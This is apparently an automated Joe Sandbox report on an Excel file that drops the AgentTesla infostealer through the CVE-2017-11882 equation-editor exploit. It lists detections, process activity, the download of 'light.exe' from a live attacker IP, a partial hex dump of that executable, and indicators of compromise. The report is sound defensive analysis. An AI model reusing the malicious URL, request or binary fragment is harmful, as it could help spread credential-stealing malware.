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Analysis Report Catalog of our new order.xlsx

Overview

General Information

Sample Name:	Catalog of our new order.xlsx
Analysis ID:	321291
MD5:	f19674cfbff25cbd3f128ffd8e78c5c4
SHA1:	07bf03f3b749c3d7f93758068f5a26c520279388
SHA256:	02781481c25663e541fd70525609f84129fb57cf044e57c3e3410972267acc30
Tags:	VelvetSweatshopxlsx
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected AgentTesla

Drops PE files to the user root directory

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Uses a known web browser user agent for HTTP communication

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2300 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2480 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2824 cmdline: 'C:\Users\Public\vbc.exe' MD5: 020BC13012CE4DB6E204CB1ED174851E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2362460442.0000000004454000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 2824	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2480, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2824

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.158.231.122, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2480, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2480, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://192.158.231.122/light.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: Catalog of our new order.xlsx

ReversingLabs: Detection: 31%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe	Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.158.231.122:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.158.231.122:80

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 20 Nov 2020 12:02:01 GMTAccept-Ranges: bytesETag: "a0bb98f434bfd61:0"Server: Microsoft-IIS/10.0Date: Fri, 20 Nov 2020 18:32:05 GMTContent-Length: 618496Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a b0 b7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 68 09 00 00 06 00 00 00 00 00 00 4e 87 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 ac 54 0a 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 87 09 00 4b 00 00 00 00 a0 09 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 67 09 00 00 20 00 00 00 68 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 a0 09 00 00 04 00 00 00 6a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 87 09 00 00 00 00 00 48 00 00 00 02 00 05 00 60 e7 08 00 a0 9f 00 00 03 00 00 00 10 00 00 06 f0 71 00 00 70 75 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 00 62 00 64 00 63 00 65 00 66 00 67 00 68 00 69 00 6a 00 6b 00 6c 00 6d 00 6e 00 70 00 72 00 71 00 73 00 74 00 75 00 76 00 77 00 7a 00 79 00 78 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 51 00 50 00 52 00 54 00 53 00 56 00 55 00 57 00 58 00 59 00 5a 00 36 02 03 28 03 00 00 06 6f 01 00 00 0a 2a 42 03 02 03 28 01 00 00 06 14 6f 02 00 00 0a 26 2a 32 02 28 05 00 00 06 74 06 00 00 01 2a 1e 28 06 00 00 06 26 2a 32 02 74 07 00 00 01 6f 03 00 00 0a 2a 46 7e 02 00 00 04 7e 03 00 00 04 28 02 00 00 06 17 2a 0a 16 2a 1e 02 28 07 00 00 0a 2a ba 28 08 00 00 0a 80 01 00 00 04 28 0d 00 00 06 28 09 00 00 0a 80 02 00 00 04 28 0d 00 00 06 28 09 00 00 0a 6f 0a 00 00 0a 80 03 00 00 04 2a 26 02 03 04 6f 0b 00 00 0a 2a 1a 28 04 00 00 06 2a 1a 28 0e 00 00 06 2a 2e 72 19 00 00 70 80 04 00 00 04 2a 36 03 02 7b 62 00 00 0a 28 5e 00 00 0a 2a 8a 03 6f 03 00 00 0a 02 7b 61 00 00 0a 7

Source: Joe Sandbox View

ASN Name: DC74-ASUS DC74-ASUS

Source: global traffic

HTTP traffic detected: GET /light.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.158.231.122Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.231.122

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\85EDDC46.emf

Jump to behavior

Source: global traffic

Source: vbc.exe, 00000004.00000002.2362766983.0000000004B1F000.00000004.00000001.sdmp	String found in binary or memory: http://ns.a88
Source: vbc.exe, 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/
Source: vbc.exe, 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4

Screenshot OCR: protected documents theyaoww*~ 24 25 26 27 28 29 ~ 30 " " " 31 ' " 32 33 0 0 0 0 0 q 34

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\Public\vbc.exe	Code function: 4_2_013CF3A9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_013D0078

Source: Catalog of our new order.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: light[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.winXLSX@33204/6@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Catalog of our new order.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE1D6.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Catalog of our new order.xlsx

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: Catalog of our new order.xlsx

Initial sample: OLE indicators vbamacros = False

Source: Catalog of our new order.xlsx

Initial sample: OLE indicators encrypted = True

Source: initial sample	Static PE information: section name: .text entropy: 7.86673164949
Source: initial sample	Static PE information: section name: .text entropy: 7.86673164949

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: Catalog of our new order.xlsx

Stream path 'EncryptedPackage' entropy: 7.9980445334 (max. 8.0)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2564

Thread sleep time: -480000s >= -30000s

Source: C:\Users\Public\vbc.exe

Process token adjusted: Debug

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000004.00000002.2357034607.00000000013E0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: vbc.exe, 00000004.00000002.2357034607.00000000013E0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000004.00000002.2357034607.00000000013E0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Users\Public\vbc.exe

Queries volume information: C:\Users\Public\vbc.exe VolumeInformation

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2362460442.0000000004454000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2824, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2362460442.0000000004454000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2824, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution12	Path Interception	Process Injection12	Masquerading111	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Remote System Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	File and Directory Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol21	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information11	LSA Secrets	System Information Discovery12	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing2	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Catalog of our new order.xlsx	31%	ReversingLabs	Document-Word.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\light[1].exe	100%	Joe Sandbox ML
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://192.158.231.122/light.exe	100%	Avira URL Cloud	malware
http://ns.a88	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.158.231.122/light.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.a88	vbc.exe, 00000004.00000002.2362766983.0000000004B1F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot%telegramapi%/	vbc.exe, 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	vbc.exe, 00000004.00000002.2355807000.000000000061C000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.158.231.122	unknown	United States		17216	DC74-ASUS	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	321291
Start date:	20.11.2020
Start time:	19:30:49
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Catalog of our new order.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.winXLSX@33204/6@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 10.3% (good quality ratio 2.9%) Quality average: 23.3% Quality standard deviation: 36.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, svchost.exe TCP Packets have been reduced to 100 Report size exceeded maximum capacity and may have missing behavior information. VT rate limit hit for: /opt/package/joesandbox/database/analysis/321291/sample/Catalog of our new order.xlsx

Simulations

Behavior and APIs

Time	Type	Description
19:32:02	API Interceptor	61x Sleep call for process: EQNEDT32.EXE modified
19:32:04	API Interceptor	83x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DC74-ASUS	VEM RFQ.jar	Get hash	malicious	Browse	192.158.238.66
